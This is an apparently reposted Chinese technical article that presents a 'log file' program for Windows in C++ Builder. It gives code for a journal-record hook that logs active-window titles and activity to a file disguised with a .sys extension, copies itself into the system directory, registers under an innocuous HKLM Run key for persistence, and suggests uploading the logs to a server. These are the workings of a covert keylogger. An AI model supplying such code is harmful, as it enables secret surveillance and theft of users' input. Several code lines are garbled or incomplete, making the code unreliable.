摘 要:本文将首先阐述Windows 操作系统的Hook函数的详细作用,并使用C++ Builder的开发工具详细阐述如何利用Hook函数开发Windows平台下的日志文件。
关键词:日志,键盘,Hook,函数,消息
计算机日志是针对计算机使用者的某些操作过程和操作结果的集合,这样的集合具有时间性,日志文件包含了一个时间点对计算机的信息或者系统的持有者的信息。日志文件通常是服务器.防火墙或者一些特定的信息资源保护过程中需要特定记录下的价值信息,虽然日志文件有可能被篡改,但是日志文件在帮助查询和监控特定信息是有一定的参考性。另外,由于日志文件记录下了操作者的行为痕迹,所以它也为侦破计算机犯罪案件提供了重要的证据线索。
一.Windows 的Hook函数
Hook函数是Windows消息处理机制的一部分,这个单词的直译就是中文的“钩子”,我们可以通过设置“钩子”——Hook函数,就可以把计算机操作中对系统和信息访问的所有事件和消息记录下来,这些信息是正常情况下无法访问的消息。当然这样做也需要付出一定的代价,因为系统中增加了一个程序来记录日志,计算机的性能会略微受到一些影响,因此对于Hook函数的使用完毕后一定要将它关闭。
首先让我们详细了解一下Windows的Hook函数;从技术上讲Hook是Windows的消息处理机制,系统操作中产生的各种信息首先被送到这里,函数根据各自的功能对消息分类进行监视和控制;这个过程很像我们的体检,你的信息登记后,按照体检的顺序,就等着到各科室检查,每个科室决定了你是否继续下一个项目,只有通过后才能进行下一个项目,否则继续等待。虽然这个过程会影响到程序的运行,但是作用却不言而喻。
Windows调用键盘钩子总是先调用挂接链首的那个函数,因此必须将键盘挂钩函数利用函数SetWindowsHookEx将其挂接在函数链首。
SetWindowsHookEx函数来进行安装的,其函数的原型如下:
SetWindowsHookEx(Int idHook;HOOKPROC lpfn;HINSTANCE hMod; DWORD dwThreadId; );
二.Hook 函数的安装及释放
的安装
安装Hook函数的方法有两种,第一种是把“钩子”做成动态链接文件,第二种方法是可以在程序中的任意地方使用。控制这两种方法的关键在SetWindowsHookEx函数的第三个参数动态链接库模块的句柄HINSTANCE hMod ,为了对所有的进程进行记录,建议这里使用第一种,把“钩子”做成动态连接文件,SetWindowsHookEx函数是一个安装函数,只要有监控键盘“钩子”的事件发生,系统就会调用相应类型的”钩子”链开始处的”钩子”过程,“钩子”链的每个“钩子”过程都要考虑是否把事件传递给下一个“钩子”过程。如果要传递的话,就要调用CallNestHookEx函数。这个函数成功时返回“钩子”链中下一个“钩子”过程的返回值,返回值的类型依赖于“钩子”的类型。这个函数的原型如下: LRESULT CallNextHookEx(HHOOK hhk; int nCode; WPARAM wParam; LPARAM lParam; );
其中hhk为当前“钩子”的句柄,由SetWindowsHookEx函数返回。NCode为传给“钩子”过程的事件代码。wParam和lParam 分别是传给“钩子”过程的wParam值,其具体含义与“钩子”类型有关。
2. 释放“钩子”
释放“钩子”比较简单,他只有一个参数。当不在需要“钩子”时,应及时将其释放。他是调用UnhookWindowsHookEx函数来实现的,函数原型如下:
UnhookWindowsHookEx(HHOOK hhk; );
函数成功返回TRUE,否则返回FALSE。
三.使用C++ Builder 创建日志程序
第一步,设置好键盘钩子程序,利用CALLBACK JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)函数过滤活跃窗口的处理消息,然后把过滤到的消息存储在一个目录的文件里,这里举例使用的目录是c:Documents and ,存储键盘信息的文件是,这个文件的后缀名虽然是sys,但是因为没有加密,所以可以使用记事本打开。
LRESULT CALLBACK JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
{ if (iCode<0)
return CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i;
HWND hFocus; //保存当前活动窗口句柄
char szTitle;
hFocus=GetActiveWindow();//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,""%c%s%c%c%s"",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,""%c%c"",32,32);
}
第二步,日志文件需要在开机后就能运行键盘钩子记录下所有运行消息,所以我们可以把这个文件注册到Win32 平台的下的注册表里,这样每次都不要开机人工启动这个文件;
GetSystemDirectory(TempPath,MAX_PATH);
AnsiStringSystemPath=AnsiString(TempPath); CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+""_"").c_str(),FALSE);
TRegistry *Registry= new TRegistry();
Registry->RootKey=HKEY_LOCAL_MACHINE; Registry->OpenKey(""SoftwareMicrosoftWindowsCurrentVersionrun"",TRUE);
try{
if(Registry->ReadString(""imountsys"")!=(SystemPath+""_"")) Registry->WriteString(""imountsys"",(SystemPath+""_""));
}catch(...){ }
第三步,需要前面提到的键盘钩子安装函数SetWindowsHookEx(),当窗口有人操作进入活跃状态时,取得窗口的句柄,然后安装键盘钩子过滤操作消息;
g_hLastFocus=::GetActiveWindow()
try{g_hLastFocus=SetWindowsHookEx(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,HInstance,0);
}catch(...){ }
四.后记
细心的读者会发现本程序只是基本完成了记录日志的功能,其实还可以增加很多辅助功能,比如,记录文日志的文件 ,时间一长会变得很大,最好是定期能够将记录文件上传到服务器上,然后删除原有文件重新建立一个新的文件,这样可以减少硬盘的存储容量,减少操作者修改日志文件的可能性;在C++ Builder6.0中有很多先进的控件可以为我们的想法服务,比如Timer 时间控件提供了定时功能,LocalConnection 提供了上传功能;只要我们好好想想程序还需要哪些新的功能都可以在C++builder6.0 中找到相应的控件来解决问题。
参考文献:
1.《C++Builder6实用编程100例》 魏俊鹏,于秋生 著 中国铁道出版社
2.《C++ Builder 6程序设计教程》 陆卫忠,刘文亮 著 科学出版社
中国论文网(www.lunwen.net.cn)免费学术期刊论文发表,目录,论文查重入口,本科毕业论文怎么写,职称论文范文,论文摘要,论文文献资料,毕业论文格式,论文检测降重服务。